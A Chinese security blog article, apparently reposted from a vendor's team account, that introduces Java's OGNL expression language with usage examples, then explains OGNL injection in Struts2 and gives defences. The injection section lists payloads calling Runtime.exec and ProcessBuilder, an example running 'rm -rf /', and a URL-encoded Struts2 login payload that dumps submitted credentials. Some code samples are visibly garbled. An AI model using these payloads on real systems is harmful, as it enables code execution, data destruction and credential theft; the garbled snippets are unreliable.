写在前边
OGNL 是 Object-Graph Navigation Language(对象导航图语言)的缩写,它是一种功能强大的表达式语言,通过简单一致的表达式语法,可以存取对象的任意属性、调用对象的方法、遍历整个对象的结构图、实现字段类型转化等功能。它使用相同的表达式去存取对象的属性,这样可以更好的取得数据。
OGNL可以用来获取和设置 java 对象的属性 ,旨在提供一个更高抽象度语法来对 java 对象图进行导航。
官方介绍文档:
https://commons.apache.org/proper/commons-ognl/language-guide.html
*左右滑动查看更多
对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 java 对象的导航。通常来说:通过一个 “路径” 来完成对象信息的导航,这个 “路径” 可以是到 java bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。
OGNL三要素
首先为大家介绍下 OGNL 的三要素:
●表达式(Expression)
表达式是整个 OGNL 的核心内容,所有的 OGNL 操作都是针对表达式解析后进行的。可以通过表达式来告诉 OGNL 操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL 表达式支持大量的表达式,如 “链式访问对象”、表达式计算、甚至还支持 Lambda 表达式。
●Root 对象
OGNL 的 Root 对象可以理解为 OGNL 的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是 Root 对象,这就意味着,如果有一个 OGNL 表达式,那么我们需要针对 Root 对象来进行 OGNL 表达式的计算并且返回结果。
●上下文环境
有个 Root 对象和表达式,我们就可以使用 OGNL 进行简单的操作了,如对 Root 对象的赋值与取值操作。但是,实际上在 OGNL 的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL 的上下文环境是一个 Map 结构,称之为 OgnlContext。Root 对象也会被添加到上下文环境当中去。说白了上下文就是一个 MAP 结构,它实现了 java.utils.Map 的接口。
基础用法举例
1.使用 OGNL 表达式
pom.xml:
<!-- https://mvnrepository.com/artifact/ognl/ognl -->
<!-- 比较新的版本可能会出现 MemberAccess implementation must be provided - null not permitted! 的问题 -->
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.1.11</version>
</dependency>
*左右滑动查看更多
2.对 Root 对象的访问
OGNL 使用的是一种链式的风格进行对象的访问,中间使用.进行连接;所有的 OGNL 表达式都基于当前对象的上下文来完成求值运算,链的前面部分的结果将作为后面求值的上下文。
package org.example;
import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;
public class OgnlTest {
public static void main(String[] args) throws OgnlException {
User user = new User();
user.setAge(16);
user.setName("hello");
Info info = new Info("1","2");
user.setInfo(info);
System.out.println(Ognl.getValue("age", user)); // 16
System.out.println(Ognl.getValue("name", user)); // hello
System.out.println(Ognl.getValue("name.length", user)); // 5
System.out.println(Ognl.getValue("info", user)); // Info(a=1, b=2)
System.out.println(Ognl.getValue("info.a", user)); // 1
}
}
class User {
private String name;
private int age;
private Info info;
}
class Info {
private String a;
private String b;
public Info(String a, String b){
this.a = a;
this.b = b;
}
}
*左右滑动查看更多
3.对上下文对象的访问
使用 OGNL 的时候如果不设置上下文对象,系统就会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象则会使用传入的上下文对象。
当访问上下文环境当中的参数时候,需要在表达式前面加上 '#' ,表示了与访问 Root 对象的区别。
package org.example;
import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;
import java.util.HashMap;
import java.util.Map;
public class OgnlTest {
public static void main(String[] args) throws OgnlException {
User user = new User();
user.setAge(16);
user.setName("hello");
Info info = new Info("1","2");
user.setInfo(info);
Map context = new HashMap();
context.put("test", "testValue");
context.put("aaa", user);
System.out.println(Ognl.getValue("#test", context, user)); // testValue
System.out.println(Ognl.getValue("#aaa", context, user)); // User(name=hello, age=16, info=Info(a=1, b=2))
System.out.println(Ognl.getValue("#aaa.name", context, user)); // hello
}
}
class User {
private String name;
private int age;
private Info info;
}
class Info {
private String a;
private String b;
public Info(String a, String b){
this.a = a;
this.b = b;
}
}
*左右滑动查看更多
4.对静态变量的访问
在 OGNL 表达式当中,也可以访问静态变量或者调用静态方法,格式如 @[class]@[field/method()]。
package org.example;
import ognl.Ognl;
import ognl.OgnlException;
public class OgnlTest {
public static String test = "66666";
public static void main(String[] args) throws OgnlException {
System.out.println(Ognl.getValue("null)); .example.OgnlTest ",
}
}
*左右滑动查看更多
5.方法的调用
如果需要调用 Root 对象或者上下文对象当中的方法也可以使用类似的方式来调用。甚至可以传入参数。
赋值的时候可以选择上下文当中的元素进行给 Root 对象的 name 属性赋值。
package org.example;
import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;
import java.util.HashMap;
import java.util.Map;
public class OgnlTest {
public static void main(String[] args) throws OgnlException {
User user = new User();
Map context = new HashMap();
context.put("test", "testValue");
context.put("aaa", user);
System.out.println(Ognl.getValue("getName()", context, user)); // null
Ognl.getValue("setName(#test)", context, user); // 执行setName方法
System.out.println(Ognl.getValue("getName()", context, user)); // testValue
}
}
@Data
class User {
private String name;
private int age;
}
*左右滑动查看更多
6.对数组和集合的访问
OGNL 支持对数组按照数组下标的顺序进行访问。此方式也适用于对集合的访问,对于 Map 支持使用键进行访问。
package org.example;
import ognl.Ognl;
import ognl.OgnlException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class OgnlTest {
public static void main(String[] args) throws OgnlException {
List list = new ArrayList<>();
list.add("123");
list.add("456");
Map map = new HashMap();
map.put("test1", "value1");
Map context = new HashMap();
context.put("list", list);
context.put("map", map);
System.out.println(Ognl.getValue("#list[0]", context, list)); // 123
System.out.println(Ognl.getValue("#map['test1']", context, map)); // value1
}
}
*左右滑动查看更多
7.投影与选择
OGNL 支持类似数据库当中的选择与投影功能,笔者个人感觉有点类似 stream。
●投影
选出集合当中的相同属性组合成一个新的集合。语法为 collection.{XXX},XXX 就是集合中每个元素的公共属性。
●选择
选择就是选择出集合当中符合条件的元素组合成新的集合。语法为 collection.{Y XXX},其中 Y 是一个选择操作符,XXX 是选择用的逻辑表达式。
选择操作符有 3 种:
? :选择满足条件的所有元素;
^:选择满足条件的第一个元素;
$:选择满足条件的最后一个元素。
package org.example;
import lombok.Data;
import ognl.Ognl;
import ognl.OgnlException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
public class OgnlTest {
public static void main(String[] args) throws OgnlException {
User u1 = new User("name1", 11);
User u2 = new User("name2", 22);
User u3 = new User("name3", 33);
User u4 = new User("name4", 44);
ArrayList<User> list = new ArrayList<User>();
list.add(u1);
list.add(u2);
list.add(u3);
list.add(u4);
Map context = new HashMap();
context.put("list", list);
System.out.println(Ognl.getValue("#list.{age}", context, list)); // [11, 22, 33, 44]
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list)); // [User(name=name3, age=33), User(name=name4, age=44)]
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list)); // [User(name=name3, age=33)]
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list)); // [User(name=name4, age=44)]
}
}
@Data
class User {
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
*左右滑动查看更多
8.创建对象
OGNL 支持直接使用表达式来创建对象。主要有三种情况:
●构造 List 对象:使用 {}, 中间使用 ',' 进行分割如 {"aa", "bb", "cc"}
●构造 Map 对象:使用 #{},中间使用 ', 进行分割键值对,键值对使用 ':' 区分,如 #{"key1" : "value1", "key2" : "value2"}
●构造任意对象:直接使用已知的对象的构造方法进行构造。
System.out.println(Ognl.getValue("{'key1','value1'}", null)); // [key1, value1]
System.out.println(Ognl.getValue("#{'key1':'value1'}", null)); // {key1=value1}
System.out.println(Ognl.getValue("new java.lang.String('123')", null)); // 123
*左右滑动查看更多
各类符号及其区别
1.#符
#符主要有三种用途:
●访问非根对象属性,即访问 OGNL 上下文和 Action 上下文,由于 Struts2 中值栈被视为根对象,所以访问其他非根对象时需要加#前缀,#相当于ActionContext.getContext();
●用于过滤和投影(projecting)集合,如books.{? #this.price<100}; 。
●用于构造 Map,如#{'foo1':'bar1', 'foo2':'bar2'};。
2.% 符
%符的用途是在标志的属性为字符串类型时,告诉执行环境 %{}里的是 OGNL 表达式并计算表达式的值。
3.$ 符
$符的主要作用是在相关配置文件中引入 OGNL 表达式,让其在配置文件中也能解析 OGNL 表达式。(换句话说,$ 用于在配置文件中获取 ValueStack 的值用的)。
4.与 . 和 @ 的区别
-
获取静态函数和变量的时候用 @ 。
-
获取非静态函数用.号获取 。
-
获取非静态变量用#获取。
OGNL 表达式注入
webwork2 和现在的 Struts2.x 中使用 OGNL 取代原来的 EL 来做界面数据绑定,所谓界面数据绑定,也就是把界面元素(例如一个 textfield,hidden)和对象层某个类的某个属性绑定在一起,修改和显示自动同步。而 Struts2 框架正是因为滥用 OGNL 表达式,使之成为了“漏洞之王”。
由前面知道,OGNL 可以访问静态方法、属性以及对象方法等,其中包含可以执行恶意操作如命令执行的类java.lang.Runtime等,当 OGNL 表达式外部可控时,攻击者就可以构造恶意的 OGNL 表达式来让程序执行恶意操作,这就是 OGNL 表达式注入漏洞。
1.注入举例
格式@[class]@[field/method()]。
package org.example;
import ognl.Ognl;
import ognl.OgnlException;
public class OgnlTest {
public static void main(String[] args) throws OgnlException {
// @[class]@[field/method()]
String payload = " .lang.Runtime ().exec('open -na Calculator')";
System.out.println(Ognl.getValue(payload, null));
}
}
*左右滑动查看更多
2.能够解析 OGNL 的 API
能够解析 OGNL 的 API 见下图:
以下是调用过程中可能会涉及到的一些类:
涉及类名 | 方法名 |
---|---|
com.opensymphony.xwork2.ognl.OgnlReflectionProvider | getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue |
com.opensymphony.xwork2.util.reflection.ReflectionProvider | getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue |
*左右滑动查看更多
3.HTTP 请求中常见的注入点
4.常用 payload
//获取context里面的变量值
#user
#user.name
//使用runtime执行系统命令
.lang.Runtime ().exec("calc")
//使用processbuilder执行系统命令
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
//获取当前绝对路径
.lang.System ("user.dir")
// e-mobole带回显
39;whoami').getInputStream()) .apache.commons.io.IOUtils ( .lang.Runtime ().exec(&#
*左右滑动查看更多
OGNL安全问题
虽然OGNL表达式为开发人员提供了一种方便的方式来处理对象图,但它也存在安全问题。
OGNL表达式的安全问题在于它可以被用于注入攻击。攻击者可以通过OGNL表达式注入恶意代码来访问和修改应用程序中的敏感数据。或可以利用OGNL表达式来绕过安全限制,如访问私有属性、执行任意代码等。
一旦攻击者成功注入OGNL表达式,他们可以轻易地控制应用程序,导致数据泄漏、数据损坏、拒绝服务攻击等问题。
假设一个在线商店允许用户根据商品名称搜索商品。搜索功能的实现使用OGNL表达式来获取商品的属性值。攻击者就可以通过输入特定的搜索关键字来注入恶意OGNL表达式。例如,攻击者可以输入以下内容:
'(#runtime.class.forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(null,'rm -rf /'))'
*左右滑动查看更多
这个OGNL表达式的目的是调用Runtime类的exec()方法来执行Linux系统上的“rm -rf /”命令,以删除整个文件系统中的所有文件。如果该表达式成功注入并执行,则会导致系统瘫痪,并导致数据丢失。
Struts 2框架使用OGNL表达式来解析Web请求参数。攻击者可以通过在请求中注入恶意OGNL表达式,从而访问和修改应用程序中的敏感数据,例如数据库中的用户名和密码。
假设一个Web应用程序具有以下处理用户登录请求的Action:
public class LoginAction extends ActionSupport {
private String username;
private String password;
public String execute() {
if (authenticate(username, password)) {
return SUCCESS;
} else {
return ERROR;
}
}
// getters and setters
}
*左右滑动查看更多
在处理登录请求时,应用程序会从请求参数中获取用户名和密码,并将其传递给authenticate()方法进行身份验证。但是,如果攻击者能够将恶意OGNL表达式注入到请求参数中,那么他们就可以绕过身份验证并访问受保护的资源。
登录时注入:
username=%25%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23parameters.login[0]%2c%23b%3d%23parameters.passwd[0]%2c%23c%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2c%23c.getWriter().println(%23a%2b%22%2c%22%2b%23b)%2c%23c.getWriter().flush()%2c%23c.getWriter().close())%7d
*左右滑动查看更多
这个OGNL表达式的目的是使用反射访问Struts 2框架中的一些受限制的类和方法。它使用%25和%7b等特殊字符来编码OGNL表达式中的敏感字符,以绕过输入过滤和验证。
具体来说,它会将allowStaticMethodAccess属性设置为true,以允许访问静态方法。然后,它会从参数中获取用户名和密码,并将它们传递给一个PrintWriter对象,以将它们输出到HTTP响应中。最后,它关闭了PrintWriter对象。
实现原理是利用了Struts 2框架在解析Web请求参数时使用的OGNL表达式引擎。攻击者可以通过在请求参数中注入恶意OGNL表达式来绕过身份验证和访问控制,并执行任意代码。
因此,在使用Struts 2框架时,应该特别注意防范OGNL表达式注入攻击,并采取相应的安全措施,如输入验证和访问控制等。
OGNL安全防范
1、不要直接将OGNL表达式暴露给用户。将其作为服务器端代码的一部分,以避免用户能够访问它。
2、对于允许用户输入OGNL表达式的应用程序,应该对用户输入进行严格的验证和过滤,以防止注入攻击。例如,可以对用户输入的OGNL表达式进行白名单过滤,只允许特定的属性和方法调用。还可以限制表达式的长度和复杂度,以避免攻击者使用长而复杂的表达式来绕过输入验证。
3、在应用程序中实现安全措施,如输入验证、访问控制和日志记录等。这些措施可以帮助检测和预防OGNL注入攻击。例如,可以在应用程序中记录OGNL表达式的执行日志,以便检测异常和异常行为。
4、更新和升级使用OGNL表达式的框架和库,以避免已知的漏洞和安全问题。
5、使用安全扫描工具和漏洞扫描器对应用程序进行测试和审计,以发现潜在的漏洞和安全问题。
参考文章及推荐阅读:
OGNL表达式注入漏洞总结
https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
Struts2著名RCE漏洞引发的十年之思
https://www.freebuf.com/vuls/168609.html
Struts2 中的OGNL、表达式注入及防御
https://mp.weixin.qq.com/s/8YxQPDu6sx-w_O4BrBCEmw
*左右滑动查看更多
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| OGNL表达式简介
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论